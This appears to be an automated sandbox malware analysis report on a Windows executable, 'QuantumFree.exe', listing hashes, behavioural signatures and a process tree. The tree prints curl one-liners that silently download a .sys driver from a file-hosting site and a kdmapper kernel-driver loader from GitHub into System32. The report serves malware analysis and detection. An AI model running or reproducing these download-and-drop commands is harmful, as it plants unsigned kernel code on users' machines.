Analysis

  • user interaction
    yes
  • max time kernel
    72s
  • max time network
    45s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 00:52

General

  • Target
    QuantumFree.exe
  • Size 776KB
  • Sample260727-a73m4ateka
  • SHA256 c9008c65f8810b27151589eec0cf4a7714a6b0b004181fcb34a90ed4fd72bbf5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
3/10

Malware Config

Signatures

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\QuantumFree.exe
    "C:\Users\Admin\AppData\Local\Temp\QuantumFree.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:1716
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:4100
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5876
      • C:\Windows\system32\curl.exe
        curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
        3⤵
          PID:2256
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4268
        • C:\Windows\system32\curl.exe
          curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
          3⤵
            PID:1368
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c cls
          2⤵
          • Executes a command shell one-liner
          PID:5792
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c pause
          2⤵
          • Executes a command shell one-liner
          PID:6140
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:4480

        Network

              MITRE ATT&CK Enterprise v16

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